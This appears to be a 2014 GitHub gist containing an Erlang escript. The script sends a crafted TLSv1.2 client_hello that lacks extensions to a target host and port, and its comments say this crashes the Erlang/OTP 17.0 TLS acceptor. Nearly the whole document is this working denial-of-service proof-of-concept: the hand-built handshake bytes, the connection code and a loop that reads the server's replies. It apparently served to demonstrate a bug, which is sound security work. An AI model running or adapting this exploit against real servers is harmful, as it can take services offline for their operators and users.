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@stolen
Created April 19, 2014 13:08
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#!/usr/bin/env escript
%% -*- mode: erlang -*-
%% vim: sw=2 ts=2
% This escript sends valid TLSv1.2 client_hello to specified server
% crashing the OTP 17.0 acceptor due to bad hashsign default value
%
% Usage example: ./tlsv12_no_hs.escript localhost 9998
-module(tlsv12_no_hs).
-include_lib("ssl/src/ssl_handshake.hrl").
client_hello() ->
<<22, 3,3, 47:16, % TLSv1.2 handshake
1, 43:24, % client_hello, length
3,3, % TLSv1.2
16#deadbeef:256, % 32 'random' bytes = 256 bits
0, % no session ID
4:16, 0,255,0,51, % null suite and some dhe_rsa suite
1, 0 % no compression
% No extensions here -> no hashsign_algos in client_hello
>>.
main([Host, PortStr]) ->
run(Host, list_to_integer(PortStr)).
run(Host, Port) ->
{ok, S} = gen_tcp:connect(Host, Port, [binary, {active, false}]),
ok = gen_tcp:send(S, client_hello()),
{ok, <<22, RecMajor:8, RecMinor:8, _RecLen:16, 2, HelloLen:24>>} = gen_tcp:recv(S, 9, 10000),
{ok, <<HelloBin:HelloLen/binary>>} = gen_tcp:recv(S, HelloLen, 5000),
#server_hello{} = ServerHello = tls_handshake:decode_handshake({RecMajor, RecMinor}, 2, HelloBin),
#server_hello{
server_version = ServerVer,
cipher_suite = CipherSuite } = ServerHello,
io:format("Received server_hello of version ~w with cipher suite ~w~n", [ServerVer, ssl:suite_definition(CipherSuite)]),
recv_records(S).
recv_records(S) ->
{ok, <<RecType:8, _RecMajor:8, _RecMinor:8, RecLen:16>>} = gen_tcp:recv(S, 5, 1000),
{ok, <<Frag:RecLen/binary>>} = gen_tcp:recv(S, RecLen, 500),
io:format("Received record type ~w (~w bytes): ~160P~n", [RecType, RecLen, Frag, 10]),
recv_records(S).
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